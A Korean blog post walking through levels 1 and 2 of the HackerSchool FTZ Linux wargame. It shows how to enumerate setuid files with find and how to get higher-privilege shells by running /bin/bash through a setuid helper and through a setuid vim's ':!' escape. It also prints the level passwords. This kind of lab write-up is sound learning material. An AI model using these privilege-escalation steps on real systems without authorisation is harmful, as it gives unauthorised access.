사자자리

[리눅스 기초] F.T.Z Level 1 ~ Level 2 본문

LINUX 기초/FTZ

[리눅스 기초] F.T.Z Level 1 ~ Level 2

renne 2022. 5. 24. 19:24

해커스쿨

https://www.hackerschool.org/Sub_Html/HS_FTZ/html/ftz_menual.html

 

<level1>

[level1@ftz level1]$ ls -al
total 88
drwxr-xr-x    4 root     level1       4096 Jan 16  2009 .
drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout
-rw-rw-r--    1 root     root          224 Feb 24  2002 .bash_profile
-rw-r--r-x    1 root     root          151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     root          400 Feb 24  2002 .cshrc
-rw-r--r--    1 root     root         4742 Feb 24  2002 .emacs
-rw-r--r--    1 root     root          162 Feb 24  2002 .epems
-r--r--r--    1 root     root          319 Feb 24  2002 .gtkrc
-rw-r--r--    1 root     root          100 Feb 24  2002 .gvimrc
-rw-r--r--    1 root     root           47 Apr  4  2000 hint
-rw-r--r--    1 root     root          226 Feb 24  2002 .muttrc
-rw-r--r--    1 root     root          367 Feb 24  2002 .profile
drwxr-xr-x    2 root     level1       4096 Dec  7  2003 public_html
drwxrwxr-x    2 root     level1       4096 Jan 16  2009 tmp
-rw-r--r--    1 root     root            1 May  7  2002 .viminfo
-rw-r--r--    1 root     root         4145 Feb 24  2002 .vimrc
-rw-------    1 root     root          106 Mar  6  2000 .Xauthority
-rw-r--r--    1 root     root          245 Feb 24  2002 .Xdefaults

ls -al 명령으로 hint 파일을 찾았다.

 

[level1@ftz level1]$ cat hint
level2 권한에 setuid가 걸린 파일을 찾는다.

cat 명령으로 hint 파일을 열어보니, 이런 내용이 나왔다.

 

[level1@ftz level1]$ find / -user level2 -perm -4000
find: /lost+found: Permission denied
find: /boot/lost+found: Permission denied
find: /proc/1/fd: Permission denied
find: /proc/2/fd: Permission denied
find: /proc/3/fd: Permission denied
find: /proc/4/fd: Permission denied
find: /proc/9/fd: Permission denied
(생략)

유저가 level2이고, 적어도 SetUID가 걸린 파일을 찾았더니 너무 많은 결과가 나온다.

 

[level1@ftz level1]$ find / -user level2 -perm -4000 2>/dev/null
/bin/ExecuteMe

표준 에러(permission denied)가 난 것을 모두 /dev/null에 버렸더니, 하나의 결과가 떴다.

 

[level1@ftz level1]$ cd /bin/ExecuteMe
-bash: cd: /bin/ExecuteMe: Not a directory
[level1@ftz level1]$ cd /bin
[level1@ftz bin]$ ls -al
total 4916
(생략)
-rwsr-x---    1 level2   level1      12868 Sep 10  2011 ExecuteMe
(생략)

/bin/ExecuteMe로 바로 이동할 수 없길래, 일단 /bin으로 이동하고 디렉토리의 내용을 살폈다. ExecuteMe 파일을 발견했다. x자리에 s가 있으므로 SetUID가 걸린 파일임을 알 수 있다.

 

[level1@ftz bin]$ ./ExecuteMe

                레벨2의 권한으로 당신이 원하는 명령어를
                한가지 실행시켜 드리겠습니다.
                (단, my-pass 와 chmod는 제외)

                어떤 명령을 실행시키겠습니까?

                [level2@ftz level2]$

파일을 실행시켰더니 이런 내용이 떴다.

 

                [level2@ftz level2]$ /bin/bash


[level2@ftz level2]$ my-pass

Level2 Password is "hacker or cracker".

/bin/bash 또는 bash

 - 기본 쉘을 실행한다.

 

레벨2의 권한을 가진 상태에서 쉘을 실행시켰다. 해커스쿨에서 미리 제작한 my-pass 명령어를 사용했더니 level2의 비밀번호가 출력됐다.

 

<level2>

[level2@ftz level2]$ ls -al
total 80
drwxr-xr-x    4 root     level2       4096 Apr 19  2002 .
drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout
-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile
-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc
-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs
-rw-rw-r--    1 root     root          162 Mar 10  2000 .epems
-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc
-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc
-rw-r--r--    1 root     root           60 Mar 23  2000 hint
-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc
-rw-r--r--    1 root     root          367 Sep 24  2000 .profile
drwxr-xr-x    2 root     level2       4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level2       4096 Jan 16  2009 tmp
-rw-r--r--    1 root     root            0 Oct 27  2002 .viminfo
-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc
-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults
[level2@ftz level2]$ cat hint
텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

hint 파일을 읽었다.

 

[level2@ftz /]$ find / -user level3 -perm -4000 2>/dev/null
/usr/bin/editor

일단 유저가 level3이고, 적어도 SetUID가 걸린 파일을 찾았더니 하나의 결과가 나왔다.

 

[level2@ftz /]$ cd /usr/bin
[level2@ftz bin]$ ./editor

~                                     VIM - Vi IMproved
~
~                                      version 6.1.320
~                                 by Bram Moolenaar et al.
~                        Vim is open source and freely distributable
~
~                               Help poor children in Uganda!
~                      type  :help iccf<Enter>       for information
~
~                      type  :q<Enter>               to exit
~                      type  :help<Enter>  or  <F1>  for on-line help
~                      type  :help version6<Enter>   for version info

editor를 실행시켰더니 VIM에 관한 내용이 출력됐다.

 

VIM

 - VI Improved: 기존 터미널 환경의 vi라는 에디터에서 기능 개선 및 확장

 - 텍스트 에디터

 - 외부 명령을 사용하려면 :!명령어 형태로 입력한다.


VIM 사용법: https://www.morenice.kr/25

 

Linux 개발환경 - vim 사용법

vim이란 간단히 말해 텍스트 에디터이다. 기존 터미널 환경의 vi라는 에디터에서 기능 개선 및 확장이 되었고, 그래서 이름이 "vi + improvement = vim"이다. 현재 터미널을 통하여 하는 개발 도구 중

www.morenice.kr

 

:!/bin/bash

[level3@ftz bin]$ my-pass

Level3 Password is "can you fly?".

 

힌트 대로 VIM에 외부 명령으로 :!/bin/bash를 입력하니 level3의 쉘이 실행되었다. my-pass 명령으로 level3의 비밀번호를 출력했다.

Comments